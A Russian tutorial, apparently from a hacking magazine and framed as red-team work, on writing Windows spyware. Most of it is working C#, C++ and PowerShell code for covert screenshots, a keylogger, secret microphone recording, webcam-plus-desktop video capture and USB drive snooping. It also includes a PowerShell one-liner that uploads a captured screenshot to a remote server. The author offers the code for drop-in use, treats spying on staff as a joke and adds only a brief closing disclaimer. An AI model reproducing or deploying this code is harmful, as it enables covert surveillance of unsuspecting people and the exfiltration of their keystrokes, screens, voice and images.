Спайварь на C#. Как устроены средства слежения за пользователями
При редтиминге иногда приходится изучать обстановку не только внутри сети, но и за ее пределами. В частности, по ту сторону монитора. Работает ли кто‑то за устройством в текущий момент, какое окно открыто, что говорят в микрофон. Давай посмотрим, как можно, используя легитимные возможности системы, следить за ничего не подозревающим пользователем.
Большая часть того, что мы реализуем в этой статье, есть только в Metasploit и в Cobalt Strike. Первый написан на Ruby, а исходники второго закрыты. Других реализаций я с ходу и не назову, а ведь хочется иметь короткие и аккуратные примеры кода, которые можно без проблем добавить в собственную программу.
Впрочем, у меня получилось самостоятельно все реализовать на C#, а некоторые программы — на C++ и PowerShell.
СКРИНШОТ РАБОЧЕГО СТОЛА
Первоочередная задача — скриншоты. Нужно увидеть, что открыто у текущего пользователя, в каких программах он работает и чем сейчас занимается.
Казалось бы, такая тривиальная задача дается в восьмом классе в качестве летней домашки на паскале, но не тут‑то было. Авторы множества реализаций забывают об одной интересной детали. Догадался, о какой?
Пока думаешь, покажу тебе пример кода на PowerShell. Даже с его помощью можно сделать скриншот текущего рабочего стола.
# Отправляем нажатие клавиши Print Screen, которое сделает скриншот всех экранов
[Windows.Forms.SendKeys]::SendWait("{PRTSC}")
# Даем системе время, чтобы обработать нажатие клавиши и получить изображение в буфер обмена
Start-Sleep -Milliseconds 250
# Получаем изображение из буфера обмена
$img = [Windows.Forms.Clipboard]::GetImage()
# Сохраняем изображение в файл
$filePath = "C:\1.png"$img.Save($filePath, [System.Drawing.Imaging.ImageFormat]::Png)
# Выводим информацию о местоположении сохраненного файла
Write-Host "Скриншот сохранён в файле: $filePath"
Скрипт работает предельно просто — имитирует нажатие кнопки Print Screen.
В интернете можно даже встретить вариант с автоматической отправкой картинки на веб‑сервер.
[Windows.Forms.Sendkeys]::SendWait("{PrtSc}")
Start-Sleep -Milliseconds 250$x = New-Object System.IO.MemoryStream
[Windows.Forms.Clipboard]::GetImage().Save($x, [System.Drawing.Imaging.ImageFormat]::Png)
Invoke-WebRequest -Uri "http://10.10.10.10:8080/upload?test.png" -Method POST -Body ([Convert]::ToBase64String($x.ToArray()))
Ну как, догадался, что не учел автор? У пользователя может быть несколько мониторов! Например, как у меня.
Что, если хитрый сисадмин утащил к себе несколько мониторов и пользуется ими в свое удовольствие? Мы из‑за этого рискуем упустить важную информацию из виду!
Это накладывает некоторые ограничения на выбор наших инструментов. Если просто слать нажатие Print Screen через Windows.Forms
, то получаем изображение с текущего монитора, что нас не устраивает.
Получить картинку со всех экранов можно, если обратиться к свойству AllScreens. Оно лежит в System.Windows.Forms.Screen
. На выходе я хочу получить один большой скриншот, содержащий изображения со всех мониторов, поэтому не обойтись без System.Drawing
.
Мы создадим растровое изображение (bitmap), а затем добавим на него скриншот с каждого экрана. Получить изображение с экрана можно через метод CopyFromScreen().
using System;
using System.Drawing;using
System.Drawing.Imaging;
using System.Windows.Forms;
class Program{ static void Main() {
// Определяем общую область для всех экранов
Rectangle totalSize = Rectangle.Empty;
foreach (Screen screen in Screen.AllScreens) {
totalSize = Rectangle.Union(totalSize, screen.Bounds);
}
// Создаем новый битмап с размерами общей области
using (Bitmap bmpScreenCapture = new Bitmap(totalSize.Width, totalSize.Height)) {
// Создаем графический объект для битмапа
using (Graphics g = Graphics.FromImage(bmpScreenCapture)) {
// Копируем каждый экран по отдельности
foreach (Screen screen in Screen.AllScreens) { g.CopyFromScreen(screen.Bounds.X, screen.Bounds.Y, screen.Bounds.X - totalSize.X, screen.Bounds.Y - totalSize.Y, screen.Bounds.Size, CopyPixelOperation.SourceCopy);
} }
// Сохраняем битмап в файл
string filename = "screenshot_all.png";
bmpScreenCapture.Save(filename, ImageFormat.Png); Console.WriteLine(quot;Скриншот всех экранов сохранен как {filename}");
}
}
}
Обрати внимание, что благодаря методу Rectangle.Union()
изображения расположены на холсте в соответствии с настройками мониторов. У меня в системе мониторы расположены, как на скриншоте ниже.
Если передвинем один экран, то изменится и расположение изображений на снимке.
Ту же логику можно реализовать и на PowerShell.
$ScriptBlock = {
Add-Type -AssemblyName System.Drawing
Add-Type -AssemblyName System.Windows.Forms
$bounds = [System.Drawing.Rectangle]::Empty
foreach ($screen in [System.Windows.Forms.Screen]::AllScreens) {
$bounds = [System.Drawing.Rectangle]::Union($bounds, $screen.Bounds)
}
$bmp = New-Object System.Drawing.Bitmap
$bounds.Width, $bounds.Height
$graphics = [System.Drawing.Graphics]::FromImage($bmp) $graphics.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
$bmp.Save('C:\1.png', [System.Drawing.Imaging.ImageFormat]::Png) $graphics.Dispose()
$bmp.Dispose()}$Runspace = [runspacefactory]::CreateRunspace()
$Runspace.Open()
$PowerShell = [powershell]::Create().AddScript($ScriptBlock)
$PowerShell.Runspace = $Runspace$PowerShell.Invoke()
$Runspace.Close()Write-Host "Screenshot saved to C:\1.png"
Этот код, используя описанный выше алгоритм, создаст снимок экрана в C:\1.png
.
На C++ все будет чуточку сложнее. Так как функция большая, я сначала дам полный ее код, а затем разберем его по шагам. Итак, функцию я назвал SaveBitmap()
. Она принимает лишь один параметр — путь, по которому нужно сохранить изображение.
#include <windows.h>BOOL WINAPI SaveBitmap(WCHAR* wPath){ BITMAPFILEHEADER bfHeader;
BITMAPINFOHEADER biHeader;
BITMAPINFO bInfo;
HGDIOBJ hTempBitmap;
HBITMAP hBitmap;
BITMAP bAllDesktops;
HDC hDC, hMemDC;
LONG lWidth, lHeight;
BYTE* bBits = NULL;
HANDLE hHeap = GetProcessHeap();
DWORD cbBits, dwWritten = 0; HANDLE hFile; INT x = GetSystemMetrics(SM_XVIRTUALSCREEN);
INT y = GetSystemMetrics(SM_YVIRTUALSCREEN);
ZeroMemory(&bfHeader, sizeof(BITMAPFILEHEADER));
ZeroMemory(&biHeader, sizeof(BITMAPINFOHEADER));
ZeroMemory(&bInfo, sizeof(BITMAPINFO));
ZeroMemory(&bAllDesktops, sizeof(BITMAP));
hDC = GetDC(NULL);
hTempBitmap = GetCurrentObject(hDC, OBJ_BITMAP);
GetObjectW(hTempBitmap, sizeof(BITMAP), &bAllDesktops); lWidth = bAllDesktops.bmWidth;
lHeight = bAllDesktops.bmHeight;
DeleteObject(hTempBitmap);
bfHeader.bfType = (WORD)('B' | ('M' << 8));
bfHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
biHeader.biSize = sizeof(BITMAPINFOHEADER);
biHeader.biBitCount = 24;
biHeader.biCompression = BI_RGB;
biHeader.biPlanes = 1;
biHeader.biWidth = lWidth;
biHeader.biHeight = lHeight;
bInfo.bmiHeader = biHeader; cbBits = (((24 * lWidth + 31) & ~31) / 8) * lHeight;
hMemDC = CreateCompatibleDC(hDC); hBitmap = CreateDIBSection(hDC, &bInfo, DIB_RGB_COLORS, (VOID**)&bBits, NULL, 0);
SelectObject(hMemDC, hBitmap);
BitBlt(hMemDC, 0, 0, lWidth, lHeight, hDC, x, y, SRCCOPY);
hFile = CreateFileW(wPath, GENERIC_WRITE | GENERIC_READ, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE == hFile) { DeleteDC(hMemDC);
ReleaseDC(NULL, hDC); DeleteObject(hBitmap);
return FALSE;
}
WriteFile(hFile, &bfHeader, sizeof(BITMAPFILEHEADER), &dwWritten, NULL); WriteFile(hFile, &biHeader, sizeof(BITMAPINFOHEADER), &dwWritten, NULL); WriteFile(hFile, bBits, cbBits, &dwWritten, NULL); FlushFileBuffers(hFile);
CloseHandle(hFile);
DeleteDC(hMemDC);
ReleaseDC(NULL, hDC);
DeleteObject(hBitmap);
return TRUE;
}
int main() {
LPWSTR path = (LPWSTR)L"C:\\1.jpg";
SaveBitmap(path); return 0;
}
В начале идет объявление необходимых структур и переменных, в частности, инстанцируем экземпляры BITMAPFILEHEADER и BITMAPINFOHEADER, они необходимы для создания растрового изображения.
BITMAPFILEHEADER bfHeader;
BITMAPINFOHEADER biHeader;
BITMAPINFO bInfo;
HGDIOBJ hTempBitmap;
HBITMAP hBitmap;
BITMAP bAllDesktops;
HDC hDC, hMemDC;
LONG lWidth, lHeight;BYTE* bBits = NULL;
HANDLE hHeap = GetProcessHeap();
DWORD cbBits, dwWritten = 0;HANDLE hFile;
Следующим шагом с помощью GetSystemMetrics() получаем размеры виртуального экрана. Виртуальный экран — прямоугольник, в который можно вписать изображения со всех мониторов.
INT x = GetSystemMetrics(SM_XVIRTUALSCREEN);INT y = GetSystemMetrics(SM_YVIRTUALSCREEN);
Например, если у нас два монитора: 1920 на 1080 и 3440 на 1440, то по вертикали у этого изображения должно быть 1080 + 1440 пикселей, а по горизонтали — 3440.
Тем не менее очень многое зависит от расположения мониторов. Если они расположены по‑другому, то по вертикали может быть 1440, а по горизонтали 3440 + 1080 пикселей.
Чтобы получить контекст устройства (текущего виртуального экрана), используем GetDc(). Затем извлекаем информацию об этом битовом блоке (HGDIOBJ
) через GetCurrentObject() и GetObjectW().
hDC = GetDC(NULL);hTempBitmap = GetCurrentObject(hDC, OBJ_BITMAP);GetObjectW(hTempBitmap, sizeof(BITMAP), &bAllDesktops);
Следующим шагом остается правильно подготовить структуру BITMAPFILEHEADER
, она нужна для всех растровых файлов. Параллельно не забываем об очистке ресурсов.
lWidth = bAllDesktops.bmWidth;lHeight = bAllDesktops.bmHeight;
DeleteObject(hTempBitmap);
bfHeader.bfType = (WORD)('B' | ('M' << 8));
bfHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);
biHeader.biSize = sizeof(BITMAPINFOHEADER);
biHeader.biBitCount = 24;
biHeader.biCompression = BI_RGB;
biHeader.biPlanes = 1;
biHeader.biWidth = lWidth;
biHeader.biHeight = lHeight;
bInfo.bmiHeader = biHeader;
cbBits = (((24 * lWidth + 31) & ~31) / 8) * lHeight;
Затем наконец‑то делаем «снимок». Через CreateCompatibleDc() создаем так называемый контекст памяти. В него будет помещен наш скриншот. Следом создаем блок секции с информацией, определенной в BITMAPINFO
, через CreateDIBSection(). И (о чудо!) помещаем созданную секцию в контекст памяти, а затем копируем в него изображение экрана через BitBlt().
hMemDC = CreateCompatibleDC(hDC);
hBitmap = CreateDIBSection(hDC, &bInfo, DIB_RGB_COLORS, (VOID**)&bBits, NULL, 0);
SelectObject(hMemDC, hBitmap);
BitBlt(hMemDC, 0, 0, lWidth, lHeight, hDC, x, y, SRCCOPY);
К слову, именно функция BitBlt()
используется во всякой вирусняге вроде HRDP и HVNC. Но описание принципа работы таких инструментов тянет далеко не на одну статью (извиняюсь за веселый каламбур).
Остается лишь считать данные и записать их в наш выходной файл.
hFile = CreateFileW(wPath, GENERIC_WRITE | GENERIC_READ, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (INVALID_HANDLE_VALUE == hFile) {
DeleteDC(hMemDC);
ReleaseDC(NULL, hDC);
DeleteObject(hBitmap);
return FALSE;
}
WriteFile(hFile, &bfHeader, sizeof(BITMAPFILEHEADER), &dwWritten, NULL); WriteFile(hFile, &biHeader, sizeof(BITMAPINFOHEADER), &dwWritten, NULL); WriteFile(hFile, bBits, cbBits, &dwWritten, NULL); FlushFileBuffers(hFile);
CloseHandle(hFile);
DeleteDC(hMemDC);
ReleaseDC(NULL, hDC);
DeleteObject(hBitmap);
return TRUE;}
КЕЙЛОГГЕР
Не упомянуть такой инструмент из стандартного джентльменского набора я не мог, но и в очередной раз описывать построчно принцип работы кода на том же GetAsyncKeyState()
или хуках не очень хочется. Поэтому просто дам ссылки на наиболее удачные реализации и наиболее интересные статьи на эту тему.
А еще в Windows существует функция SetWindowsHookEx(), с ее помощью можно установить хук. Хук позволяет перенаправить поток управления целевой программы в наш код. Если мы поставим хук на WH_KEYBOARD
, то сможем отслеживать все нажатия клавиш в системе.
Обрати внимание, что Message Box будет возникать дважды, даже когда клавиша была нажата единожды. Первый раз — при опускании клавиши (WM_KEYDOWN), а затем при поднятии (WN_KEYUP).
Альтернативный вариант — использовать GetAsyncKeyState(). Этот механизм пытается найти нажатую в текущий момент клавишу. Если функция определила, что клавиша нажата, кейлоггер запротоколирует это.
#include <windows.h>#include <fstream>
int main() {
std::ofstream file; file.open("log.txt", std::fstream::app);
while (true) {
Sleep(10);
// Пауза, чтобы снизить нагрузку на процессор
for (int key = 8; key <= 190; key++) {
if (GetAsyncKeyState(key) == -32767) {
// Если клавиша была нажата
HWND foreground = GetForegroundWindow();
if (foreground) {
file << char(key);
// Запись нажатой клавиши в файл
file.flush();
}
}
}
}
file.close();
return 0;
}
На GitHub есть и полноценная реализация.
Как вариант, можно логировать нажатые клавиши через ETW, но это сработает только с виртуальной (экранной) клавиатурой. Тем не менее такой PoC тоже есть.
АУДИО
Хочешь послушать, как матерится сисадмин и о чем болтает секретарша? Давай реализуем поддержку аудио!
На C++ код, который нам для этого понадобится, будет большим, громоздким и неудобным. Плюс для исполнения в памяти (как мы любим) потребуется конвертировать его в шелл‑код, затем думать над инжектором, а уж делать COFF — это совсем для избранных.
Итак, воспользуемся C#. Для записи аудио удобно использовать Nuget-пакет NAudio..
public void StartRec() {
WaveSourceStream = new NAudio.Wave.WaveInEvent(); WaveSourceStream.DeviceNumber = 0;
WaveSourceStream.WaveFormat = new WaveFormat(16000,1); WaveSourceStream.DataAvailable += sourceStream_DataAvailable; WaveSourceStream.StartRecording(); bufl = new List<byte[]>(); }
Впрочем, все‑таки лучше написать с нуля. У меня получилась вот такая программа.
using System;
using NAudio.Wave;using NAudio.Lame;
namespace MicrophoneRecordToMp3{
class Program {
static void Main(string[] args) {
int deviceNumber = 1;
string outputFilePath = "recorded_audio.mp3";
using (var waveIn = new WaveInEvent()) {
waveIn.DeviceNumber = deviceNumber;
waveIn.WaveFormat = new WaveFormat(44100, 1);
var writer = new LameMP3FileWriter(outputFilePath, waveIn.WaveFormat, LAMEPreset.STANDARD);
void WaveInDataAvailable(object sender, WaveInEventArgs e) { writer.Write(e.Buffer, 0, e.BytesRecorded);
}
waveIn.DataAvailable += WaveInDataAvailable;
waveIn.StartRecording();
Console.WriteLine("Recording... Press Enter to stop and save the file.");
Console.ReadLine();
waveIn.StopRecording();
}
Console.WriteLine(quot;Recording saved to '{outputFilePath}'");
}
}
}
Этот код позволяет записывать аудио с микрофона в формате .mp3
до тех пор, пока не будет нажата клавиша Enter. Проблема в том, что здесь строго используется некоторое первое (deviceNumber = 1
) микрофонное устройство. Чтобы использовать устройство по умолчанию, просто удалим эти строки.
using System;
using NAudio.Wave;
using NAudio.Lame;
namespace MicrophoneRecordToMp3{
class Program {
static void Main(string[] args) {
// Путь для сохранения файла
string outputFilePath = "recorded_audio.mp3";
// Инициализация объекта WaveInEvent для записи с микрофона
using (var waveIn = new WaveInEvent()) {
// Задаем формат записи: частота дискретизации 44 100 Гц, один канал (моно)
waveIn.WaveFormat = new WaveFormat(44100, 1);
// Создаем MP3 writer и оборачиваем его в using, чтобы обеспечить корректное закрытие файла
using (var writer = new LameMP3FileWriter(outputFilePath, waveIn.WaveFormat, LAMEPreset.STANDARD)) {
// Обработчик события DataAvailable
void WaveInDataAvailable(object sender, WaveInEventArgs e) { writer.Write(e.Buffer, 0, e.BytesRecorded);
}
// Подписываемся на событие DataAvailable
waveIn.DataAvailable += WaveInDataAvailable;
// Начинаем запись waveIn.StartRecording(); Console.WriteLine("Recording... Press Enter to stop and save the file.");
// Ждем нажатия клавиши Enter для остановки записи
Console.ReadLine();
// Останавливаем запись waveIn.StopRecording();
}
}
// Сообщаем о сохранении записи
Console.WriteLine(quot;Recording saved to '{outputFilePath}'");
}
}
}
В статье, конечно, продемонстрировать тебе звук не могу, но он был успешно записан, честно‑честно!
Кстати, если тебя интересует способ на C++, то можно использовать Windows Wave API, пример кода есть на GitHub.
Впрочем, существуют проекты, умеющие писать звук и через DirectX, например SharpDXWebcam.
Хочешь приколоться над админом в лучших традициях «Западлостроения»? Если он любит слушать на работе музыку, то мы можем через NAudio
изменить уровень громкости! Устрой дискотеку!
using NAudio.CoreAudioApi;
using System;
public class VolumeChanger{
public void SetVolume(int volumeLevel) {
if (volumeLevel < 0 || volumeLevel > 100)
throw new ArgumentException("Volume must be between 0 and 100.");
// Инициализация объекта MMDeviceEnumerator для взаимодействия с аудиоустройствами
MMDeviceEnumerator devEnum = new MMDeviceEnumerator();
MMDevice defaultDevice = devEnum.GetDefaultAudioEndpoint(DataFlow.Render, Role.Multimedia);
// Приведение указанного уровня громкости в диапазоне от 0 до 100 к диапазону от 0,0 до 1,0 float normalizedVolumeLevel = volumeLevel / 100.0f;
// Установка уровня громкости defaultDevice.AudioEndpointVolume.MasterVolumeLevelScalar = normalizedVolumeLevel;
// Опционально: включение/выключение звука (mute/unmute) //defaultDevice.AudioEndpointVolume.Mute = false;
}
}
class Program{
static void Main(string[] args) {
VolumeChanger changer = new VolumeChanger();
changer.SetVolume(50);
// Установка громкости на 50%
}
}
Если нам нужно использовать C++, то придется лезть в COM.
#include <Windows.h>
#include <mmdeviceapi.h>
#include <endpointvolume.h>
#include <iostream>
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "winmm.lib")int main() {
HRESULT hr = CoInitialize(NULL);
if (FAILED(hr)) {
std::cout << "Не удалось инициализировать COM библиотеку" << std::endl; return hr;
}
IMMDeviceEnumerator* deviceEnumerator = NULL;
hr = CoCreateInstance(__uuidof(MMDeviceEnumerator), NULL, CLSCTX_INPROC_SERVER, __uuidof(IMMDeviceEnumerator), (LPVOID*)&deviceEnumerator);
if (FAILED(hr)) {
std::cout << "Не удалось создать экземпляр MMDeviceEnumerator" << std::endl;
CoUninitialize();
return hr;
}
IMMDevice* defaultDevice = NULL;
hr = deviceEnumerator->GetDefaultAudioEndpoint(eRender, eMultimedia, &defaultDevice);
deviceEnumerator->Release();
if (FAILED(hr)) {
std::cout << "Не удалось получить устройство по умолчанию" << std::endl; CoUninitialize();
return hr;
}
IAudioEndpointVolume* endpointVolume = NULL;
hr = defaultDevice->Activate(__uuidof(IAudioEndpointVolume), CLSCTX_INPROC_SERVER, NULL, (LPVOID*)&endpointVolume);
defaultDevice->Release();
if (FAILED(hr)) {
std::cout << "Не удалось активировать интерфейс громкости" << std::endl; CoUninitialize();
return hr;
}
// Установить громкость (0.0 — минимум, 1.0 — максимум) float newVolume = 0.5;
// 50% hr = endpointVolume->SetMasterVolumeLevelScalar(newVolume, NULL); if (FAILED(hr)) {
std::cout << "Не удалось установить уровень громкости" << std::endl;
}
else {
std::cout << "Громкость установлена на " << newVolume * 100 << "%" << std::endl;
}
endpointVolume->Release();
CoUninitialize();
return 0;
}
УСТРОЙСТВА
К целевому компьютеру могут быть подключены разные устройства: флешки, телефоны, мышки, клавиатуры. Для работы с устройствами существует целый класс API.
Например, великий Павел Йосифович в своей книге Windows 10 System Programming Part 1 на странице 540 демонстрирует функцию DisplayDevices()
. С ее помощью возможно перечислить подключенные устройства.
#define INITGUID
#include <string>
#include <vector>
#include <wiaintfc.h>
#include <Windows.h>
#include <SetupAPI.h>
#include <Wiaintfc.h>
#include <Ntddvdeo.h>
#include <initguid.h>
#include <Usbiodef.h>
#include <devpkey.h>
#include <Ntddkbd.h>
#include <ntddmou.h>
#include <ntddvdeo.h>
#include <locale>
#pragma comment(lib, "SetupAPI.lib")struct DeviceInfo {
std::wstring SymbolicLink;
std::wstring FriendlyName;};
void DisplayDevices(const std::vector<DeviceInfo>& devices, const char* name) {
printf("%s\n%s\n", name, std::string(::strlen(name), '-').c_str());
for (auto& di : devices) {
printf("Symbolic link: %ws\n", di.SymbolicLink.c_str());
printf(" Name: %ws\n", di.FriendlyName.c_str());
auto hDevice = ::CreateFile(di.SymbolicLink.c_str(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
if (hDevice == INVALID_HANDLE_VALUE)
printf(" Failed to open device (%d)\n", ::GetLastError());
else { printf(" Device opened successfully!\n"); ::CloseHandle(hDevice);
}
}
printf("\n");
}
std::vector<DeviceInfo> EnumDevices(const GUID& guid) { std::vector<DeviceInfo> devices;
auto hInfoSet = ::SetupDiGetClassDevs(&guid, nullptr, nullptr, DIGCF_PRESENT | DIGCF_INTERFACEDEVICE);
if (hInfoSet == INVALID_HANDLE_VALUE)
return devices;
devices.reserve(4);
SP_INTERFACE_DEVICE_DATA data = { sizeof(data) }; PSP_INTERFACE_DEVICE_DETAIL_DATA DevDetail;
SP_DEVINFO_DATA ddata = { sizeof(ddata) };
BYTE buffer[1 << 12];
DWORD dw;
for (DWORD i = 0; ; i++) {
if (!::SetupDiEnumDeviceInterfaces(hInfoSet, nullptr, &guid, i, &data)) { dw = GetLastError(); break; } ULONG needed, l; ::SetupDiGetDeviceInterfaceDetail(hInfoSet, &data, NULL, 0, &needed, 0); l = needed;
DevDetail = (SP_DEVICE_INTERFACE_DETAIL_DATA*)GlobalAlloc(GPTR, l + 4); DevDetail->cbSize = sizeof(SP_INTERFACE_DEVICE_DETAIL_DATA);
if (::SetupDiGetDeviceInterfaceDetail(hInfoSet, &data, DevDetail, l, &needed, &ddata)) {
DeviceInfo info;
info.SymbolicLink = DevDetail->DevicePath;
if (::SetupDiGetDeviceRegistryProperty(hInfoSet, &ddata, SPDRP_DEVICEDESC, nullptr, buffer, sizeof(buffer), nullptr)) info.FriendlyName = (WCHAR*)buffer; devices.push_back(std::move(info)); }
dw = GetLastError();
}
::SetupDiDestroyDeviceInfoList(hInfoSet);
return devices;
}
int main() {
setlocale(LC_ALL, "");
auto devices = EnumDevices(GUID_DEVINTERFACE_IMAGE); DisplayDevices(devices, "Image"); DisplayDevices(EnumDevices(GUID_DEVINTERFACE_MONITOR), "Monitor"); DisplayDevices(EnumDevices(GUID_DEVINTERFACE_DISPLAY_ADAPTER),"Display Adapter");
DisplayDevices(EnumDevices(GUID_DEVINTERFACE_DISK), "Disk"); DisplayDevices(EnumDevices(GUID_DEVINTERFACE_KEYBOARD), "keyboard"); DisplayDevices(EnumDevices(GUID_DEVINTERFACE_USB_DEVICE), "usb"); DisplayDevices(EnumDevices(GUID_DEVINTERFACE_MOUSE), "mouse");
return 0;
}
Что уж тут говорить, для одной только батареи в Windows есть отдельный API — GetSystemPowerStatus().
#include <iostream>
#include <Windows.h>
#include <locale>
int main() {
setlocale(LC_ALL, "");
SYSTEM_POWER_STATUS sps;
if (GetSystemPowerStatus(&sps)) {
int batteryLifePercent = sps.BatteryLifePercent;
if (batteryLifePercent != 255) {
std::cout << "Текущий заряд батареи: " << batteryLifePercent << "%" << std::endl;
}
else {
std::cout << "Заряд батареи неизвестен." << std::endl;
}
}
else {
std::cout << "Не удалось получить информацию о состоянии питания." << std::endl;
}
return 0;
}
Кстати, можно злоупотреблять Windows Power Management API: реализовать необычный метод персиста, при котором наш код будет исполняться при включении или отключения дисплея.
Если опускаться чуть ниже, то основное взаимодействие с любым устройством происходит через API DeviceIoControl().
BOOL DeviceIoControl( _In_ HANDLE hDevice, _In_ DWORD dwIoControlCode, _In_ LPVOID lpInBuffer, _In_ DWORD nInBufferSize, _Out_ LPVOID lpOutBuffer, _In_ DWORD nOutBufferSize, _Out_opt_ LPDWORD lpBytesReturned, _Inout_opt_ LPOVERLAPPED lpOverlapped);
Затык может произойти уже на втором аргументе — dwIoControlCode
. Для каждого устройства могут быть установлены собственные управляющие коды, что несколько усложняет процесс разработки.
Тем не менее существует несколько средств, которые помогут разобраться с устройствами по API. Рекомендую обратить внимание на DevCon. Это полноценная большая программа, которая позволяет извлекать информацию об устройствах и управлять ими.
Впрочем, для слежения нам достаточно лишь вовремя получать информацию о подключении устройства. Из C# в таком случае проще обращаться к WMI. Я так сделал в проекте USB-Monitor.
Там на помощь пришел WqlEventQuery, с ним мы можем зарегистрировать колбэк, который будет вызван при подключении нового USB-устройства.
Дальше дело за малым — нужно, исходя из поля Service, определить, какое устройство вставили. В случае флешки будет строка USBSTOR
, затем нужно конвертировать название физического диска (\\.\PHYSICALDRIVE
) в привычную букву (E:
), а потом просто вывести содержимое папки, чтобы увидеть интересные файлы на флешке.
На C++ можно обрабатывать различные сообщения WM_DEVICE, но для этого требуется создавать оконное приложение, что нам не очень подходит.
ВЕБ-КАМЕРА
Если у пользователя есть веб‑камера, значит, мы тоже можем ей воспользоваться. Однако здесь все чуточку сложнее.
Снова есть варианты работы через DirectX:
Проблема в том, что в этих проектах многовато кода, а нам нужно относительно маленькое компактное решение. Поэтому прибегаем к помощи Accord.Video. Заодно добавим и запись экрана с веб‑камеры. Будет полноценная проктор‑программа!
Код, конечно, все равно получился немаленьким, поэтому я залил его на GitHub.
Стартовая функция выглядит вот так.
private static VideoFileWriter writer;
private static Bitmap videoFrame;
private static Bitmap webcamFrame;
private static readonly object videoFrameLock = new object();private static readonly object webcamFrameLock = new object();
private static bool isRecording = true;
static void Main(){
Rectangle bounds = GetScreenBounds();
int width = bounds.Width;
int height = bounds.Height;
writer = new VideoFileWriter();
writer.Open("desktop_with_webcam.avi", width, height, 10, VideoCodec.MPEG4, 10000000);
Thread screenThread = new Thread(() => CaptureDesktop(bounds)); screenThread.Start();
VideoCaptureDevice videoSource = StartWebCamCapture(); Thread.Sleep(20000);
// Двадцать секунд для записи isRecording = false; videoSource.SignalToStop();
videoSource.WaitForStop();
screenThread.Join();
writer.Close();
Console.WriteLine("Recording finished.");
}
Сначала заводим несколько глобальных переменных (это всё внутри класса Program
, поэтому будет правильнее сказать статических). После чего получаем размеры всех мониторов, чтобы понять размеры виртуального экрана. Размеры получаем по уже описанному ранее алгоритму.
static Rectangle GetScreenBounds(){ Rectangle bounds = Rectangle.Empty; foreach (Screen screen in Screen.AllScreens) { bounds = Rectangle.Union(bounds, screen.Bounds); } return bounds;}
Затем инициализирую инстанс класса VideoFileWriter(). Параметры означают, что будет создан видеофайл desktop_with_webcam.avi
размером, как у рабочей области экрана, будет делаться 10 кадров в секунду, с использованием кодека MPEG4 и битрейтом 10 000 000.
Следующим шагом стартует новый отдельный поток, в котором происходит захват изображения с рабочих столов.
static void CaptureDesktop(Rectangle bounds){
while (isRecording) {
Bitmap combinedFrame = null;
lock (videoFrameLock) {
// Создаем битмап с размерами, охватывающими все мониторы
combinedFrame = new Bitmap(bounds.Width, bounds.Height);
using (var g = Graphics.FromImage(combinedFrame)) {
// Координаты начала захвата учитывают отрицательные координаты g.CopyFromScreen(bounds.Left, bounds.Top, 0, 0, bounds.Size);
lock (webcamFrameLock) {
if (webcamFrame != null) {
// Положение для кадра веб-камеры
int x = combinedFrame.Width - webcamFrame.Width - 10;
int y = combinedFrame.Height - webcamFrame.Height - 10; g.DrawImage(webcamFrame, x, y, webcamFrame.Width, webcamFrame.Height); }
}
}
}
writer.WriteVideoFrame(combinedFrame);
combinedFrame.Dispose();
Thread.Sleep(100); }}
В основном потоке программы получаем видео с веб‑камеры. Обработка каждого получаемого кадра происходит в событии NewFrame
, где текущий кадр клонируется и сохраняется в переменную webcamFrame
. Клонирование нужно по той причине, что объект NewFrame
как бы считается занятым, и если обратиться к нему, то вылезет исключение.
static VideoCaptureDevice StartWebCamCapture(){
FilterInfoCollection videoDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice);
if (videoDevices.Count == 0)
throw new ApplicationException("No webcam found.");
VideoCaptureDevice videoSource = new VideoCaptureDevice(videoDevices[0].MonikerString);
videoSource.NewFrame += video_NewFrame;
videoSource.Start();
return videoSource;
}
static void video_NewFrame(object sender, NewFrameEventArgs eventArgs){ lock (webcamFrameLock) {
webcamFrame?.Dispose();
webcamFrame = (Bitmap)eventArgs.Frame.Clone();
}
}
Затем программа ждет 20 секунд, видео пишется, после чего потоки приостанавливаются, а полученная запись сохраняется в файл.
Thread.Sleep(20000);
// Двадцать секунд для записи isRecording = false; videoSource.SignalToStop();
videoSource.WaitForStop();
screenThread.Join();
writer.Close();
Console.WriteLine("Recording finished.");}
Запускаем — и в каталоге с программой видим заветный видеоролик!
ВЫВОДЫ
Не зря любая книжка по WinAPI для начинающих первым делом рассказывает о графике! И не зря в вузе столько времени показывали C# и механизм его работы. Совместив разрозненные знания, можно писать сложные и необычные штуки, в том числе полноценную спайварь. Главное — помни, что делаем мы это строго в целях обучения, а применять если и будем, то в рамках контракта с клиентом. Без этого распространение подобных программ может привести к печальным последствиям, а не только к лулзам.